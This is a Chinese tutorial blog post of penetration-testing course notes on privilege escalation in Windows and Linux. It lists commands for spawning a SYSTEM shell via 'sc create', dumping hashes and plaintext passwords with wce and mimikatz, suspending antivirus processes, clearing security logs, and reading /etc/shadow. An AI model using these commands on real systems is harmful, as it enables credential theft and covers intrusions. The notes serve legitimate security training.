Kali Linux渗透测试——提权

笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程

文章目录

    • 一、关于权限
      • (一)WindowsNT
      • (二)Linux
    • 二、提权思路
    • 三、基于提权
      • (一)Windows
        • 1.利用服务管理命令sc提权
        • 2.Windows登录认证过程
        • 3.wce
        • 4.mimikatz
      • (二)Linux

一、关于权限

对不同的用户设置合适的权限是保证多任务操作系统安全的重要一环,取得shell并拿到系统权限,就相当于完全掌握了攻击目标的控制权。设置用户权限的一个基本原则即:设置最少的服务,分配最小的权限。不同操作系统设置的用户/用户组有所不同,常见的用户/用户组具体如下:

(一)WindowsNT

  • Administrators
    管理员组,默认情况下,Administrators中的用户基本上对计算机/域有不受限制的完全访问权,分配给该组的默认权限允许对整个系统进行完全控制。

  • SYSTEM
    拥有比Administrators还高的权限,但是这个组不允许任何用户的加入,在察看用户组的时候,它也不会被显示出来。系统和系统级的服务运行都是SYSTEM权限。

  • Power User
    高级用户组,仅次于Administrators组的权限,可以执行除了为Administrators组保留任务外的其他任何操作系统任务。

  • Users
    普通用户组,这个组的用户默认权限不允许成员修改操作系统的设置或用户资料,Users组提供了一个比较安全的程序运行环境,新建用户默认在这个分组。

  • Guests
    来宾组,默认与Users组有同等甚至更低的访问权限。

  • Everyone
    所有的用户,计算机上的所有用户都属于这个组。

Windows系统安装后默认用户为Administrators分组,选择任何一个文件或磁盘右键选择属性->安全,在组和用户名中就可以配置文件的访问权限。不同的Window版本用户组配置不同,如Windows家庭版没有Power User分组。

(二)Linux

在Linux系统用户的角色是通过UID和GID识别的,UID是系统用户的唯一有效标识。UID分为三类:

  • root
    其UID和GID均为0,拥有最高的管理权限,对计算机有不受限制的完全访问权。

  • 普通用户
    UID(500~65535),一般是由具备root权限的运维人员添加,作为一般用户登录使用。

  • 服务用户
    UID(1~499),与真实用户相区分,一些服务用户安装系统后即存在,基于安全考虑,服务用户默认不能登录系统,他们的存在主要是方便系统管理、提供服务,例如系统默认的bin、sys、nodoby、mail用户等。

chmod命令修改文件读/写/执行权限
eg:

chmod g+x,o-x example.txt  
chmod 755 example.txt
# umask按照rwx的顺序,权重为421
# umask为0022,第一个0为特殊权限,022为普通权限
# 即默认新建可执行文件权限755,新建不可执行文件权限644

chown命令修改文件所有者/所有组

chown root:rgroup example.txt

二、提权思路

在渗透测试过程中往往一开始取得的是一个普通用户的shell,这时要想进一步操作要从普通用户权限提权至Administrator甚至System,这时需要利用系统漏洞、软件漏洞或配置不当进行提权,这里仅提供几个基本思路:

  • 基于Metasploit
    基于Metasploit相应模块进行漏洞利用(搜索模块如:search ms14-068)。

  • 基于Exploit-DB
    在Kali中searchsploit或在 Exploit-DB官网 搜索Exp(如:ms14-068),在Exp基础上进行漏洞利用(可能需要对Exp进行修改、编译等)。

三、基于提权

一旦取得Administrator甚至System权限后,可操作的空间就大了很多,可以窃取用户密码、修改系统配置等。

注意:Windows系统登录后SAM文件是被锁死的,不能复制、移动,正常情况下打开是乱码或空白,所以读取SAM文件要通过登录并提权后使用特殊工具,或者采取物理接触等非登录手段获取;而Linux相对而言则简单很多,取得root权限后直接读取/etc/shadow/etc/passwd就可以获取用户账号及HASH。

(一)Windows

1.利用服务管理命令sc提权

  • 目标:Administrator->System
  • 思路:利用系统服务都是System权限的特点,新建服务
  • 条件:已经取得管理员权限cmd
sc create syscmd binPath= "cmd /K start"  type= interact type= own
# 创建syscmd服务,服务执行命令"cmd /K start",交互式运行

sc start syscmd
# 开启服务

注:在开始菜单或者在 C:\windows\system32\通过管理员权限运行cmd,只是临时取得管理员权限,进程的的所有者仍然是普通账户,可以在cmd中用whoami命令查看,也可以通过任务管理器查看进程所属用户。

2.Windows登录认证过程

WINLOGON进程提供认证,计算HASH值,交由LSASS进程,LSASS进程会调用系统内核相应的安全模块,将HASH与SAM库进行比对,比对成功则登入操作系统。

Kali Linux渗透测试——提权_第1张图片

图1 Windows登录认证过程

注:WDigest 是在 Windows XP 操作系统中引入的摘要认证机制,可以用来对HTTP、SASL等协议进行身份验证,但这种机制将明文密码保存在内存中,很不安全。

3.wce

  • 目标:获取用户登录凭证
  • 条件:已经取得管理员权限cmd

WCE(Windows Credentical Editor)(仅支持Windows XP, 2003, Vista, 7, 2008 and 8),从内存中读取认证信息,WCE会先以安全模式运行,如果发生错误则会以注入进程等非安全形式运行,非安全形式容易对操作系统造成破坏。

在Kali中有wce工具:/usr/share/windows-resources/wce
将wce拷贝至Windows中,在wce文件夹下以管理员权限运行cmd:

# wce-universal会根据系统自动选择32或64位程序运行
wce-universal.exe -l / -lv 
# -l:列出已经登录的用户凭证(NTLM HASH值)
# -v:详细输出,列出hash id、读取模式等

wce-universal.exe -d 
# -d:删除已登录用户的凭证

wce-universal.exe -w 
# -w:列出WDigest认证模块保存在内存中的明文密码

将WDigest关闭: 在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa中的Security Packages项,删除wdigesttspk

4.mimikatz

  • 目标:获取用户登录凭证
  • 条件:已经取得管理员权限cmd

在Kali中有mimikatz工具:/usr/share/windows-resources/mimikatz
将wce拷贝至Windows中,在wce文件夹下以管理员权限运行cmd:

在mimikatz交互界面,输入::可以看到mimikatz有privilege、sekurlsa、ts、process、event 等20多种模块,每个模块下又分为多个子模块,具体使用如:

mimikatz                  # 进入mimikatz交互界面

::                        # 命令提示

privilege::debug          # 提权到debug模式

sekurlsa::logonPasswords  # 列出所有登录用户的凭证

sekurlsa::wdigest         # 列出wdigest模块在内存中保存的明文密码

process::list             # 列出当前进程

process:: suspend         # 挂起进程,如杀毒软件

process:: stop            # 关闭进程

ts::multirdp              # 允许多个用户同时进行远程桌面控制

event::clear              # 清除操作系统中的安全日志

event::drop               # 不再产生新的日志

(二)Linux

取得root权限后查看用户账号信息、修改系统配置等:

cat /etc/passwd

cat /etc/shadow

vi /etc/resolv.conf

你可能感兴趣的:(Kali,Linux渗透测试)